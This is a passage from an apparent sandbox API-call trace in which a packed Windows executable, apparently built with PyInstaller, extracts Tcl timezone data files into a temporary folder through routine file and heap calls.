lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.050] CloseHandle (hObject=0x10c) returned 1 [0041.050] GetLastError () returned 0x0 [0041.050] SetLastError (dwErrCode=0x0) [0041.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.050] GetFileType (hFile=0x10c) returned 0x1 [0041.050] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.050] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.050] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.050] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.050] CloseHandle (hObject=0x10c) returned 1 [0041.050] GetLastError () returned 0x0 [0041.050] SetLastError (dwErrCode=0x0) [0041.050] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.050] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.051] GetFileType (hFile=0x10c) returned 0x1 [0041.051] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.051] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.051] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.051] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.051] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.051] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.051] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.051] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.051] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.051] CloseHandle (hObject=0x10c) returned 1 [0041.051] GetLastError () returned 0x0 [0041.051] SetLastError (dwErrCode=0x0) [0041.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lindeman") returned 75 [0041.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lindeman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\lindeman"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.051] GetLastError () returned 0x2 [0041.051] SetLastError (dwErrCode=0x2) [0041.051] GetLastError () returned 0x2 [0041.051] SetLastError (dwErrCode=0x2) [0041.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lindeman", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lindeman", lpFilePart=0x0) returned 0x4a [0041.051] GetLastError () returned 0x2 [0041.051] SetLastError (dwErrCode=0x2) [0041.051] GetLastError () returned 0x2 [0041.051] SetLastError (dwErrCode=0x2) [0041.051] GetLastError () returned 0x2 [0041.051] SetLastError (dwErrCode=0x2) [0041.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lindeman") returned 75 [0041.051] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lindeman" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\lindeman"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.052] GetFileType (hFile=0x10c) returned 0x1 [0041.052] htonl (hostlong=0x5030000) returned 0x305 [0041.052] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.052] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x305, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x305, lpOverlapped=0x0) returned 1 [0041.053] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.053] CloseHandle (hObject=0x10c) returned 1 [0041.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550720 | out: hHeap=0x530000) returned 1 [0041.054] htonl (hostlong=0x30000000) returned 0x30 [0041.054] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.054] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.054] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.054] GetFileType (hFile=0x10c) returned 0x1 [0041.054] htonl (hostlong=0xc87a5b00) returned 0x5b7ac8 [0041.054] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x602ac8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.054] htonl (hostlong=0x9c050000) returned 0x59c [0041.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x59c) returned 0x550600 [0041.054] htonl (hostlong=0x9c050000) returned 0x59c [0041.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.054] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.054] htonl (hostlong=0x521c0000) returned 0x1c52 [0041.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c52) returned 0x561090 [0041.054] htonl (hostlong=0x9c050000) returned 0x59c [0041.054] htonl (hostlong=0x521c0000) returned 0x1c52 [0041.054] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562cf0 [0041.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562cf0 | out: hHeap=0x530000) returned 1 [0041.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.054] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.054] CloseHandle (hObject=0x10c) returned 1 [0041.054] GetLastError () returned 0x0 [0041.054] SetLastError (dwErrCode=0x0) [0041.055] GetLastError () returned 0x0 [0041.055] SetLastError (dwErrCode=0x0) [0041.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.055] GetFileType (hFile=0x10c) returned 0x1 [0041.055] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.055] CloseHandle (hObject=0x10c) returned 1 [0041.055] GetLastError () returned 0x0 [0041.055] SetLastError (dwErrCode=0x0) [0041.055] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.055] GetFileType (hFile=0x10c) returned 0x1 [0041.055] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.055] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.055] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.055] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.056] CloseHandle (hObject=0x10c) returned 1 [0041.056] GetLastError () returned 0x0 [0041.056] SetLastError (dwErrCode=0x0) [0041.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia") returned 66 [0041.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.056] GetFileType (hFile=0x10c) returned 0x1 [0041.056] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.056] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.056] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.056] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.056] CloseHandle (hObject=0x10c) returned 1 [0041.056] GetLastError () returned 0x0 [0041.056] SetLastError (dwErrCode=0x0) [0041.056] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lord_Howe") returned 76 [0041.056] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lord_Howe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\lord_howe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.057] GetLastError () returned 0x2 [0041.057] SetLastError (dwErrCode=0x2) [0041.057] GetLastError () returned 0x2 [0041.057] SetLastError (dwErrCode=0x2) [0041.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lord_Howe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lord_Howe", lpFilePart=0x0) returned 0x4b [0041.057] GetLastError () returned 0x2 [0041.057] SetLastError (dwErrCode=0x2) [0041.057] GetLastError () returned 0x2 [0041.057] SetLastError (dwErrCode=0x2) [0041.057] GetLastError () returned 0x2 [0041.057] SetLastError (dwErrCode=0x2) [0041.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lord_Howe") returned 76 [0041.057] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Australia\\Lord_Howe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\australia\\lord_howe"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.057] GetFileType (hFile=0x10c) returned 0x1 [0041.057] htonl (hostlong=0x521c0000) returned 0x1c52 [0041.057] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0041.058] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.058] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc52, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc52, lpOverlapped=0x0) returned 1 [0041.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.058] CloseHandle (hObject=0x10c) returned 1 [0041.058] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.059] htonl (hostlong=0x40000000) returned 0x40 [0041.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.059] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.059] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.059] GetFileType (hFile=0x10c) returned 0x1 [0041.059] htonl (hostlong=0x64805b00) returned 0x5b8064 [0041.059] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x603064, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.059] htonl (hostlong=0x19060000) returned 0x619 [0041.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x619) returned 0x550600 [0041.059] htonl (hostlong=0x19060000) returned 0x619 [0041.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.059] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.059] htonl (hostlong=0x7a1e0000) returned 0x1e7a [0041.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e7a) returned 0x561090 [0041.059] htonl (hostlong=0x19060000) returned 0x619 [0041.059] htonl (hostlong=0x7a1e0000) returned 0x1e7a [0041.059] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562f18 [0041.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562f18 | out: hHeap=0x530000) returned 1 [0041.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.059] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.059] CloseHandle (hObject=0x10c) returned 1 [0041.059] GetLastError () returned 0x0 [0041.059] SetLastError (dwErrCode=0x0) [0041.060] GetLastError () returned 0x0 [0041.060] SetLastError (dwErrCode=0x0) [0041.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.060] GetFileType (hFile=0x10c) returned 0x1 [0041.060] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.060] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.060] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.060] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.060] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.060] CloseHandle (hObject=0x10c) returned 1 [0041.060] GetLastError () returned 0x0 [0041.060] SetLastError (dwErrCode=0x0) [0041.060] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.060] GetFileType (hFile=0x10c) returned 0x1 [0041.060] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.060] GetFileInformationByHandleEx (in: 